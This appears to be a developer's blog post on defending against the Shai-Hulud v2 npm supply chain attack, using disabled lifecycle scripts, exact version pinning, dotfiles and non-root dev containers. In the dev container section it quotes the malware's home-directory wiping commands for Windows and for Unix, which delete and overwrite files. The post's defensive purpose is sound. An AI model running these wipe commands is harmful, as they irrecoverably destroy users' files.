Ken Muse

How I Avoided Shai-Hulud's Second Coming (Part 1)


Last week, the Shai-Hulud v2 supply chain attack sent shockwaves through the development community. This sophisticated attack compromised tens of thousands of repositories and developer environments by exploiting package lifecycle scripts in the npm ecosystem. When I saw the reports roll in, I checked my systems and breathed a sigh of relief. My development environment was completely unaffected. Not because I got lucky, but because I had already put defensive security practices in place.

If you’re a developer who wants to protect yourself from these kinds of supply chain attacks, this post walks you through some of the practical steps I use to secure my development workflow. These are not theoretical best practices – they are the real configurations and tools I rely on every day.

The anatomy of Shai-Hulud

Before diving into the defenses, let’s quickly understand what made Shai-Hulud so dangerous. The attack worked by poisoning npm packages with malicious code hidden in lifecycle scripts like preinstall and postinstall. When you ran npm install or yarn install, these scripts executed automatically, giving attackers a foothold in your environment. From there, the scripts steal credentials, inject backdoors, pivot to other systems, or wipe the system. The attack was particularly devious because it targeted the trust developers place in their package managers.

The key insight here is that package lifecycle scripts run with the same permissions as your user account. They have access to your files, environment variables, SSH keys, cloud credentials, and more. That means a compromised package can do serious damage before you even realize something is wrong.

Defense layer 1: Disable package scripts globally

The most effective defense against Shai-Hulud is also the simplest – disable automatic execution of package lifecycle scripts. By default, both npm and Yarn will happily run lifecycle scripts included in a package. That is convenient when legitimate packages need to compile native extensions or set up configuration files, but it is a security nightmare when dealing with potentially compromised dependencies.

For Yarn (v2+)

Create or update your .yarnrc.yml file in your home directory or project root:

1enableScripts: false
2enableImmutableInstalls: true
3defaultSemverRangePrefix: ""

The enableScripts: false setting tells Yarn to skip all lifecycle scripts during installation. When you encounter a legitimate package that needs to run lifecycle scripts (like building native modules), you can explicitly opt in by configuring the package.json:

1"dependenciesMeta": {
2  "esbuild": {
3    "built": false
4  }
5}

The enableImmutableInstalls: true setting prevents Yarn from modifying your lockfile during install. This catches unexpected dependency changes that might indicate tampering or version confusion. It also helps catch when you have a transitive dependency (a dependency of one of your declared dependencies) that is being updated. When you intentionally want to update dependencies, use:

1yarn install --no-immutable

I also prefer to use specific versions in my package.json rather than version ranges. This prevents unexpected updates from sneaking in during routine installs. I update dependencies deliberately after reviewing changelogs and release notes, not automatically during every build. The setting defaultSemverRangePrefix makes that the default behavior when I add a dependency.

The Shai-Hulud attack created new versions of packages as a patch update, relying on developers using version ranges to pull in the compromised code. Since most developers use version ranges, the attackers used this to their advantage.

I should mention that setting specific versions of packages doesn’t eliminate all risk. In most cases, the majority of your dependencies are transitive. While you can use overrides to selectively pin transitive dependencies, it can be cumbersome with large projects. This is why it’s important to combine multiple layers of defense and to have a process for reviewing your dependencies.

It’s also worth pointing out that Yarn has a limitation: it does not yet support a command for validating package attestations (such as yarn npm audit signatures). There is an open issue tracking this feature request.

For npm

Create or update your .npmrc file in your home directory:

1ignore-scripts=true
2save-exact=true

The first setting has the same effect as the Yarn configuration – npm will skip all lifecycle scripts during npm install. If you need to run scripts for a specific package, you can do so explicitly:

1npm add <package-name> --ignore-scripts=false

The second setting, save-exact=true, ensures that npm saves exact versions of dependencies in your package.json. This prevents accidental updates to newer versions that might contain vulnerabilities or malicious code. Like with Yarn, I prefer to update dependencies deliberately after reviewing changes.

The easy way – dotfiles

If you’ve read my earlier article about using a dotfiles repository, then you know I use that approach to manage my development configurations. If you’re not familiar with it, a dotfiles repository is a Git repository where you store configuration files (dotfiles) for your development environment. By keeping these files in version control, you can easily apply consistent settings across multiple machines and environments. You can also automatically apply those configurations to any dev container, including GitHub Codespaces.

In my case, I have preconfigured both .yarnrc.yml and .npmrc in my dotfiles repository to ensure I always start with secure defaults.

Why this works

If you automatically disable package lifecycle scripts by default, it provides a strong first line of defense against supply chain attacks like Shai-Hulud. Since Shai-Hulud exploited lifecycle scripts to gain initial access, these settings would have blocked the attack completely. The malicious code would have been downloaded to your node_modules directory but never executed.

Defense layer 2: Use dev containers with non-root users

Even with package scripts disabled, you want additional layers of defense. Development containers provide strong isolation between your host machine and your project environment. I use dev containers for nearly all my projects, and they add several important security boundaries.

If Shai-Hulud’s malicious scripts cannot find any secrets to exfiltrate, it changes its tactics. According to research by DataDog Security Labs, the malware attempts to destroy the user’s home directory.

For Windows, it runs:

1del /F /Q /S "%USERPROFILE%*" && for /d %%i in ("%USERPROFILE%*") do rd /S /Q "%%i" & cipher /W:%USERPROFILE%

For macOS and Unix, it runs:

1find "$HOME" -type f -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1 && find "$HOME" -depth -type d -empty -delete

This doesn’t just erase your files. It overwrites them to make recovery impossible. By isolating your development environment in a container, the malicious scripts cannot access your actual home directory. It can only see the container user’s home directory, which is ephemeral and isolated.

What dev containers protect

Many supply chain attacks are designed to exploit the host environment directly. By isolating your development environment, you cut off that attack vector entirely. Dev containers provide several security benefits:

  • Limited host access
    The container can only access directories you explicitly mount. Your computer’s home directory (and any personal files or credentials) remain isolated. This assumes you do not run in a privileged container (which can be escaped). If you’re running the dev container in Codespaces, then your host machine is even more isolated since your workload runs in the cloud and the credentials expire when the Codespace is stopped.
  • Port visibility
    Dev containers surface any attempts to open network ports. If a malicious script tries to open a port for incoming traffic, you will see the port forwarding notification. By default, Codespaces blocks this from receiving public traffic. Docker similarly restricts how traffic can reach a dynamically opened port.
  • Credential scoping
    You can provide a restricted Git credential to the container, limiting the permissions available to code running inside. If you’re running in Codespaces, your Git credentials are automatically scoped to only the defined repositories.

Dev containers will not protect you from everything. A sophisticated attacker can still attempt to escape the container or abuse the resources they do have access to. But they dramatically reduce the attack surface and make casual exploitation harder.

Configure non-root users

Make sure your dev container runs as a non-root user. This limits what a compromised process can do, even if it manages to execute code. Here is an example devcontainer.json configuration:

1{
2  "image": "mcr.microsoft.com/devcontainers/base:noble",
3  "containerUser": "vscode"
4}

This configuration uses the default vscode user provided by the base image, which has limited permissions.

There’s still room to secure this further. The container user is passwordless by default so that it can be automated easily by the IDE. In some cases, the user has sudo privileges, which could be used to escalate access within the container. Removing sudo access can further harden the environment. Administrative tasks can then be handled during the image build process or by defining a separate, privileged account.

The images themselves could also be further hardened to reduce the attack surface. If you want to understand more about that, I suggest checking out Chainguard’s guide to using their secure base images for dev containers. You can also refer to my series on using Buildroot to understand one technique for creating your own hardened base images.

It’s just the development environment

Most developers have limited security in their environment, so attackers can target the low-hanging fruit. In fact, companies often feel that when it’s “just the development environments”, that there’s no need for strong security. They forget that development environments are often an entry point into more sensitive systems. That’s why this is becoming the most popular way to attack companies.

By focusing on the most common exploitation vectors, attackers can compromise a large number of systems with minimal effort. The more developers who secure their environments, the harder it becomes for attackers to find easy targets.

Security is about layers. No single defense is perfect, so combining multiple layers creates a more robust security posture. There’s no way to prevent every type of attack, so multiple defenses help to mitigate risk by making it harder for the common attack vectors to succeed (and easier to notice when they are happening).

At the same time, the layers must be practical and not overly burdensome to the development process. If they keep you from getting work done, you won’t use them. Hopefully you find these first two layers both practical and easy to implement. I’ll discuss two more layers of defense that I’ve implemented in the next blog post.